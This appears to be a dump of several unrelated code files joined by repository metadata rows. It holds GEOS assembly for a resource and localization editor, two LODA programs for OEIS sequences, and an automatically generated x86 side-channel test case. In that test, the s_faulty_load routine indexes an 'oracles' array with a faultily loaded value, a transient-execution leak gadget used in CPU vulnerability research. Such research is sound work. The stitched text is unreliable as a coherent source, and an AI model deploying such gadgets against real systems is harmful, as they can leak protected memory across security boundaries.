COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddNewResource
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add a new element to the passed map block.
Allocate a DBGroup for the resource and create a
ResourceArray in it.
CALLED BY: (INTERNAL) AllocResourceGroups
PASS: *ds:si - map block
ax - resource number
^hbx - file handle
RETURN: ax - new element token
carry set if error (a resource was not added)
ax - ErrorValue
DESTROYED: dx,di,es
WARNING: This routine MAY resize the LMem block, moving it on the
heap and invalidating stored segment pointers to it.
PSEUDO CODE/STRATEGY:
Allocate a new group for the resource, and create a NameArray
item in the group.
Create a name for the resource: Resource<N>, N = reource number.
Add a ResourceMapElement to the ResourceMap.
If the name already exists in the array, or the element cannot
be added, free the group and item created for it.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 11/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddNewResource proc far
uses cx,si
element local ResourceMapData
SBCS <resName local MAX_NAME_LEN+1 dup (char) >
DBCS <resName local MAX_NAME_LEN+1 dup (wchar) >
.enter
; Put resource name in local variable.
segmov es, ss
lea di, ss:[resName] ; es:di <- resource name
mov dx, ax ; dx <-resource number
mov ax, offset ResourceName
call CreateName
; Create a DBGroup for the resource.
call DBGroupAlloc ;ax <- group
; Fill in ResourceMapData fields.
mov ss:[element].RMD_group, ax
mov ss:[element].RMD_number, dx
clr ss:[element].RMD_resourceType
clr ss:[element].RMD_numChunks
; Allocate a ResourceArray for this resource.
push di
mov cx, size ResourceArrayHeader
mov dx, size ResourceArrayData
call AllocNameArray ;di <- ResourceArray item
mov ss:[element].RMD_item, di
pop di
; Does our resource name already exist in the resource name array?
clr cx ;null-terminated name
clr dx ;don't return data
call NameArrayFind
mov ax, EV_NAME_EXISTS
jc error ;this name already exists!
; Add our resource to the resource name array.
push bx
clr bx ; No NameArrayAddFlags
mov dx, ss
lea ax, ss:[element] ; dx:ax = data
call NameArrayAdd ; ax <- new element's token
pop bx
jnc error
clc
done:
.leave
ret
error:
; Our resource name was already in the resource name array, so
; delete the group we created.
mov ax, ss:[element].RMD_group
call DBGroupFree
mov ax, EV_NAME_ADD
stc
jmp done
AddNewResource endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitResArrays
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add elements to ResourceArrays for each chunk in
the resource, as read from the geode.
CALLED BY: (EXTERNAL) ReadGeodeFile
PASS: ss:bp - TranslationFileFrame
*ds:si - document
RETURN: carry set if error
ax - ErrorValue
DESTROYED: di
WARNING: This routine MAY resize the LMem block, moving it on the
heap and invalidating stored segment pointers to it.
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitResArrays proc far
uses bx,dx,es
.enter
EC < cmp ss:[bp].TFF_signature, TRANSLATION_FILE_FRAME_SIG>
EC < ERROR_NE BAD_TRANSLATION_FILE_FRAME >
; Remember document for dereferencing.
push ds:[LMBH_handle],si
; Lock the TransMapHeader.
call LockTransFileMap_DS
; Get handle to the resource table.
segmov es, ss:[bp].TFF_handles, cx
EC < cmp es:[DHS_signature], DOCUMENT_HANDLES_STRUCT_SIG >
EC < ERROR_NE BAD_DOCUMENT_HANDLES_STRUCT >
mov cx, es:[DHS_resourceTable]
; Enumerate each resource, adding an element for each chunk in the
; geode.
mov bx, cs
mov di, offset InitResArraysCallback
mov dx, ss:[bp].TFF_numResources
call ChunkArrayEnum
; Unlock the TransMapHeader.
call DBUnlock_DS
; Dereference document.
pop bx, si
call MemDerefDS
.leave
ret
InitResArrays endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitResArraysCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Load the resource, and for each chunk add an element
to the ResourceArray.
CALLED BY: (INTERNAL) InitResArrays, via ChunkArrayEnum
PASS: *ds:si - ResourceMap (TransMapHeader)
ds:di - ResourceMapElement
ss:bp - TranslationFileFrame
^hcx - ResourceTable
dx - total number of resources in geode
RETURN: carry set if FileRead or MemAlloc error
ax - LoadResourceError
or if AddChunkItemError
ax - ErrorValue
DESTROYED:
ax,bx,si,di
WARNING: This routine MAY resize the LMem block, moving it on the
heap and invalidating stored segment pointers to it.
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 10/ 1/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitResArraysCallback proc far
uses cx,dx
.enter
push ds:[LMBH_handle]
; Get this resource's number.
call ChunkArrayPtrToElement ; ax <- resource number
; Load the resource into a block.
call LoadResource ; bx <- resource handle
jc noResource ; if error, continue
cmp ax, LRE_NOT_LMEM ; if not LMem, continue
je noResource
cmp ax, LRE_NO_HANDLES ; if no handles, continue
je noResource
EC < call ECCheckMemHandle >
; Save the number of chunks in the map array element (and
; there better be some, because this was checked in LoadResource)
call MyMemLock
mov es, ax
mov dx, es:[LMBH_nHandles]
EC < tst dx >
EC < ERROR_Z NO_CHUNKS >
call MemUnlock
mov ds:[di].RME_data.RMD_numChunks, dx
; Allocate and add the items for each chunk to the ResourceArray
mov ax, ds:[di].RME_data.RMD_group
mov di, ds:[di].RME_data.RMD_item
mov cx, ss:[bp].TFF_transFile
call AddChunkItems ;carry set if error, ax = ErrorValue
pushf
tst bx
call MyMemFree ;it's no longer needed, free it
popf
done:
; Dereference the array.
pop bx
call MemDerefDS
.leave
ret
noResource:
; either there was an error reading the resource into memory,
; or the resource is not editable (not an LMem block, no handles)
; If the latter is true, don't return an error.
;
tst bx
jz noFree
call MyMemFree
noFree:
EC< cmp ax, LRE_HANDLE_TABLE_FULL >
EC< ERROR_E RESEDIT_INTERNAL_LOGIC_ERROR >
ornf ds:[di].RME_data.RMD_resourceType, mask RT_NOT_EDITABLE
mov cx, EV_MEMALLOC
cmp ax, LRE_MEMALLOC
je error
mov cx, EV_FILE_READ
cmp ax, LRE_FILE_READ
je error
clc
jmp done
error:
mov ax, cx
stc
jmp done
InitResArraysCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddChunkItems
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: For each chunk in this resource, add an element to the
chunk name array.
CALLED BY: (INTERNAL) InitResArraysCallback
PASS: ^hbx - resource block handle
^hcx - file handle
dx - number of chunks to add
ax - resource group number
di - chunk array item number
RETURN: carry set if error
ax - ErrorValue
DESTROYED: ax,cx,dx,di,es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 11/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddChunkItems proc near
uses bx,si
resHandle local hptr push bx
element local ResourceArrayData
SBCS <chunkName local MAX_NAME_LEN+1 dup (char) >
DBCS <chunkName local MAX_NAME_LEN+1 dup (wchar) >
.enter
; Lock the ResourceArray in DB item ax:di
mov bx, cx
mov cx, dx
call DBLock_DS ; ds:si <- name array
call DBDirty_DS
; Initialize the ResourceArrayElement data with zeroes
push cx, di
segmov es, ss
lea di, ss:[element]
mov cx, size element
clr al
rep stosb
pop cx, di
clr dx
; Lock the resource block and get a pointer to its handle table
mov bx, ss:[resHandle]
call ObjLockObjBlock
mov es, ax
mov di, es:[LMBH_offset] ;^ldi <- first chunk handle
addChunk:
; Re-initialize this to "unknown" type
mov ss:[element].RAD_chunkType, 0
; Store the chunk number and handle in the element,
; and create a default name 'Chunkn' where n = RAD_number
mov ss:[element].RAD_number, dx
mov ss:[element].RAD_handle, di
mov ax, offset ChunkName
; Check if the chunk is free (ptr = 0) or 0 size (ptr = -1)
mov bx, ss:[resHandle]
call MemDerefES
if ERROR_CHECK
; Since this is compiled with .rcheck, ECCheckBounds dies on the
; instruction below when the chunk handle is free and ECF_LMEM is on.
; Therefore we need to disable ECF_LMEM temporarily.
push ax ;save old value
call SysGetECLevel ;ax = ErrorCheckFlags, bx=hptr
push ax ;save orig. ErroCheckFlags
BitClr ax, ECF_LMEM
call SysSetECLevel
endif ; ERROR_CHECK
mov di, es:[di] ;deref the chunk handle
if ERROR_CHECK
pop ax ;ax = orig. ErrorCheckFlags
call SysSetECLevel
pop ax ;restore old value
endif ; ERROR_CHECK
tst di
jz invalid
cmp di, -1
jne createName
invalid:
mov ss:[element].RAD_chunkType, mask CT_NOT_EDITABLE
createName:
; Create the default name for this chunk 'ChunkN'
segmov es, ss
lea di, ss:[chunkName]
call CreateName ;es:di <- chunk name
; Check if this name already exists.
push cx, dx
clr cx ;null-terminated name
clr dx ;don't return data
call NameArrayFind
mov ax, EV_NAME_EXISTS
jc error ;this name already exists!
; Add our chunk to the array.
clr bx ; no flags
mov dx, ss
lea ax, ss:[element] ; dx:ax = data to add
call NameArrayAdd ; ax <- name token
cmc
mov ax, EV_NAME_ADD
jc error
chunkAdded:: ; (For verbose.tcl)
; Handle next chunk.
pop cx, dx
mov di, ss:[element].RAD_handle ;last handle
add di, size word ;next handle
inc dx
loop addChunk
clc
done:
; Clean up.
mov si, ds:[si]
mov ds:[si].RAH_arrayType, AT_RESOURCE_ARRAY
call DBUnlock_DS ; unlock ResourceArray
mov bx, ss:[resHandle]
call MemDerefDS ; deref the resource block
call MemUnlock ; unlock it
.leave
ret
error:
pop cx, dx
jmp done
AddChunkItems endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyLocToTrans
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy localization file information into the translation
file, resource by resouce, using ChunkArrayEnum.
CALLED BY: (EXTERNAL) ReadLocalizationFile
PASS: ss:bp - TranslationFileFrame
RETURN: carry set if unsuccessful
ax - ErrrorValue
DESTROYED: bx,cx,si,di,ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 11/18/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyLocToTrans proc far
EC < cmp ss:[bp].TFF_signature, TRANSLATION_FILE_FRAME_SIG >
EC < ERROR_NE BAD_TRANSLATION_FILE_FRAME >
mov bx, ss:[bp].TFF_locFile
call DBLockMap_DS ;*ds:si <- LocArray
mov bx, cs
mov di, offset CopyLocToTransCallback
call ChunkArrayEnum
call DBUnlock_DS
ret
CopyLocToTrans endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyLocToTransCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy localization information for this resource to the
translation file.
CALLED BY: CopyLocToTrans via ChunkArrayEnum
PASS: *ds:si - LocMap array
ds:di - LocMapElement
ax - element size
ss:bp - TranslationFileFrame
RETURN: nothing
DESTROYED: everything except bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/12/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyLocToTransCallback proc far
.enter
EC< cmp ss:[bp].TFF_signature, TRANSLATION_FILE_FRAME_SIG >
EC< ERROR_NE BAD_TRANSLATION_FILE_FRAME >
push ss:[bp].TFF_destGroup ; save ResourceMap group
push ds:[LMBH_handle] ; save LocMapArray handle
segmov es, ds, cx
mov cx, ax ; cx <- element size
mov ax, es:[di].LME_data.LMD_number ; ax <- resource number
; Lock down the translation file's ResourceMap.
call LockTransFileMap_DS ; ds:si <- trans file map block
; Look for this resource in the ResourceMap, if its not found,
; just leave the information gathered from the Geode as is.
;
mov bx, di
call FindResourceNumber ; ds:di <- ResourceMapElement
jc notFound
call ChunkArrayPtrToElement ; ax <- element number
; Now replace the resource name with that from the Localization file
;
lea di, es:[bx].LME_data.LMD_name ; es:di <- name
gotName:: ; (For verbose.tcl)
sub cx, size LocMapElement ; cx <- name size
DBCS < shr cx, 1 ; cx <- name length >
call NameArrayChangeName
call ChunkArrayElementToPtr ; ds:di <- possibly resized
; and moved element
; Lock down the ResourceArray for this resource
;
push bx
mov ax, ds:[di].RME_data.RMD_group
mov di, ds:[di].RME_data.RMD_item
call DBUnlock_DS ; unlock ResourceMap
mov ss:[bp].TFF_destGroup, ax
mov bx, ss:[bp].TFF_transFile
call DBLock_DS
mov bx, ds:[LMBH_handle]
movdw ss:[bp].TFF_destArray, bxsi ;
pop di ; es:di <- LocMapElement
; Lock down the LocArray for this resource, and enumerate it
; to copy all of its information to the elements in the
; ResourceArray.
;
push bx ; save ResourceArray handle
mov ax, es:[di].LME_data.LMD_group
mov di, es:[di].LME_data.LMD_item
mov ss:[bp].TFF_sourceGroup, ax
mov bx, ss:[bp].TFF_locFile
call DBLock_DS ; *ds:si <- LocArray
mov bx, cs
mov di, offset CopyLocElement
call ChunkArrayEnum
call DBUnlock_DS ; unlock LocArray
pop bx
call MemDerefES
call DBUnlock ; unlock ResourceArray
done:
pop bx
call MemDerefDS ; restore LocMap segment
pop ss:[bp].TFF_destGroup ; restore ResMap group
clc
.leave
ret
notFound:
call DBUnlock_DS ; unlock ResourceMap
jmp done
CopyLocToTransCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyLocElement
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy info from LocArray to ResourceArray for this chunk.
CALLED BY: CopyLocToTransCallback via ChunkArrayEnum
PASS: *ds:si - LocArray
ds:di - LocArrayElement
ax - element size
ss:bp - TranslationFileFrame
TFF_destArray = ResArray optr
TFF_destGroup = its resource group number
TFF_sourceGroup = LocArray group number
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cassie 5/12/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CopyLocElement proc far
.enter
mov cx, ax
segmov es, ds
movdw bxsi, ss:[bp].TFF_destArray
call MemDerefDS
mov ax, es:[di].LAE_data.LAD_number
mov bx, di
findChunk:: ; (For verbose.tcl)
call FindChunkNumber ; ds:di <- ResArrayElement
LONG jc done
;
; should really change name only *after* we've confirmed
; these are really the same items.
;
call ChunkArrayPtrToElement ; ax <- element number
;
; if this chunk is not localizable, delete it from the ResourceArray
;
cmp es:[bx].LAE_data.LAD_flags, 1
LONG je notLocalizable
localizable:: ; (For verbose.tcl)
lea di, es:[bx].LAE_data.LAD_name ; es:di <- name
sub cx, size LocArrayElement ; cx <- name size
DBCS < shr cx, 1 ; cx <- name length >
call NameArrayChangeName
call ChunkArrayElementToPtr ; ds:di <- possibly resized
; and moved element
mov si, bx ; es:si <- LocArrayElement
mov bl, mask CT_MONIKER
mov ax, es:[si].LAE_data.LAD_chunkType
cmp ax, CDT_visMoniker
je haveType
mov bl, mask CT_GSTRING
cmp ax, CDT_GString
je haveType
mov bl, mask CT_TEXT
cmp ax, CDT_text
je haveType
clr bl
haveType: ; bl == type stored in .loc
test ds:[di].RAE_data.RAD_chunkType, bl
jz done
;
; if marked as a text chunk in the loc file, we need to do an additional
; check to see if our heuristic scanning misinterpreted this as a moniker.
; if it did, make it a text chunk.
test bl, mask CT_TEXT
jz setSize
test ds:[di].RAE_data.RAD_chunkType, mask CT_MONIKER
jz setSize
mov ds:[di].RAE_data.RAD_chunkType, bl
setSize:
mov ax, es:[si].LAE_data.LAD_minSize
mov ds:[di].RAE_data.RAD_minSize, ax
mov ax, es:[si].LAE_data.LAD_maxSize
mov ds:[di].RAE_data.RAD_maxSize, ax
mov ax, es:[si].LAE_data.LAD_flags
mov ds:[di].RAE_data.RAD_instFlags, ax
push si
mov si, ss:[bp].TFF_destArray.chunk
call ChunkArrayPtrToElement ; ax <- element number
pop si
push ax, bp
mov bx, ss:[bp].TFF_locFile
mov ax, ss:[bp].TFF_sourceGroup
mov di, es:[si].LAE_data.LAD_instItem
tst di
jz noInstruction
mov cx, ss:[bp].TFF_destGroup
mov bp, ss:[bp].TFF_transFile
call DBCopyDBItem
pop ax, bp
mov dx, di
movdw bxsi, ss:[bp].TFF_destArray
call MemDerefDS
call ChunkArrayElementToPtr
mov ds:[di].RAE_data.RAD_instItem, dx
done:
segmov ds, es, ax ; ds <- LocArray segment
clc
.leave
ret
noInstruction:
pop ax, bp
jmp done
notLocalizable:
call ChunkArrayDelete
jmp done
CopyLocElement endp
DatabaseCode ends
| 24.79131 | 79 | 0.621738 |
1d941e9022fca20f7f606f1c0b1443bd2ee3b000 | 767 | asm | Assembly | programs/oeis/218/A218034.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/218/A218034.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/218/A218034.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A218034: Number of ways to seat 4 types of people in n labeled seats around a circle such that no two adjacent people are of the same type.
; 1,4,12,24,84,240,732,2184,6564,19680,59052,177144,531444,1594320,4782972,14348904,43046724,129140160,387420492,1162261464,3486784404,10460353200,31381059612,94143178824,282429536484,847288609440,2541865828332,7625597484984,22876792454964
mov $27,$0
mov $29,2
lpb $29
clr $0,27
mov $0,$27
sub $29,1
add $0,$29
sub $0,1
lpb $0
mov $1,$0
cal $1,46717 ; a(n) = 2*a(n-1) + 3*a(n-2), a(0) = a(1) = 1.
mov $0,0
add $2,$1
mul $1,2
add $2,$1
add $2,1
lpe
mov $1,$2
add $1,1
mov $30,$29
lpb $30
mov $28,$1
sub $30,1
lpe
lpe
lpb $27
mov $27,0
sub $28,$1
lpe
mov $1,$28
| 22.558824 | 239 | 0.64146 |
1e3284c3db54188c9b498c88ff490bb65d259080 | 245 | asm | Assembly | programs/oeis/011/A011926.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/011/A011926.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/011/A011926.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A011926: [ n(n-1)(n-2)(n-3)/16 ].
; 0,0,0,0,1,7,22,52,105,189,315,495,742,1072,1501,2047,2730,3570,4590,5814,7267,8977,10972,13282,15939,18975,22425,26325,30712,35626,41107,47197,53940,61380,69564,78540
bin $0,4
mul $0,24
div $0,16
mov $1,$0
| 30.625 | 168 | 0.689796 |
577e289396ec8d5dda27bcdbfa79419e2c7bf3ca | 8,022 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_679.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_679.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_679.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x9d0d, %r11
clflush (%r11)
nop
nop
nop
sub %rbp, %rbp
movb (%r11), %al
nop
nop
nop
nop
dec %r12
lea addresses_D_ht+0x1630d, %r15
dec %r10
and $0xffffffffffffffc0, %r15
vmovntdqa (%r15), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rax
nop
lfence
lea addresses_UC_ht+0x14901, %rsi
lea addresses_UC_ht+0x122b5, %rdi
sub %r15, %r15
mov $100, %rcx
rep movsw
nop
nop
cmp %rax, %rax
lea addresses_normal_ht+0x1550d, %rsi
lea addresses_UC_ht+0xa68d, %rdi
nop
nop
nop
cmp $64988, %r15
mov $87, %rcx
rep movsw
nop
nop
nop
nop
and %r15, %r15
lea addresses_WT_ht+0x1bf4d, %rsi
nop
dec %rbp
movw $0x6162, (%rsi)
nop
nop
xor $27339, %rcx
lea addresses_A_ht+0x1b30d, %rbp
nop
inc %r10
mov (%rbp), %r15
nop
nop
nop
nop
cmp $56343, %r12
lea addresses_D_ht+0x16394, %rax
nop
xor $40517, %r12
mov $0x6162636465666768, %r11
movq %r11, %xmm6
movups %xmm6, (%rax)
and $54831, %rbp
lea addresses_UC_ht+0x1d90d, %rsi
lea addresses_WC_ht+0x19b57, %rdi
nop
nop
nop
nop
add %rbp, %rbp
mov $38, %rcx
rep movsb
nop
inc %r15
lea addresses_D_ht+0x6d0d, %rax
nop
nop
nop
add $11077, %rdi
movl $0x61626364, (%rax)
nop
nop
and %r12, %r12
lea addresses_D_ht+0x1aec5, %r10
nop
nop
nop
nop
inc %r11
movb $0x61, (%r10)
nop
nop
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x1ae32, %rbp
clflush (%rbp)
sub %rdi, %rdi
and $0xffffffffffffffc0, %rbp
movntdqa (%rbp), %xmm0
vpextrq $0, %xmm0, %rax
nop
add $61788, %rcx
lea addresses_WC_ht+0x4f0d, %rsi
nop
xor %r12, %r12
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x240d, %r15
clflush (%r15)
inc %rbp
mov (%r15), %eax
nop
nop
and $50796, %r15
lea addresses_UC_ht+0x1410d, %rcx
nop
nop
nop
cmp %r12, %r12
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%rcx)
nop
nop
nop
nop
nop
cmp $34779, %r15
lea addresses_WC_ht+0x1a58d, %r11
xor %rcx, %rcx
mov $0x6162636465666768, %rax
movq %rax, %xmm3
vmovups %ymm3, (%r11)
nop
nop
nop
nop
nop
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rsi
// Load
lea addresses_normal+0x1b2ad, %r11
nop
nop
nop
nop
sub %r9, %r9
movups (%r11), %xmm7
vpextrq $0, %xmm7, %r8
nop
nop
nop
nop
add %r9, %r9
// Faulty Load
lea addresses_WT+0x1050d, %r11
and $28870, %r13
mov (%r11), %r9d
lea oracles, %r8
and $0xff, %r9
shlq $12, %r9
mov (%r8,%r9,1), %r9
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 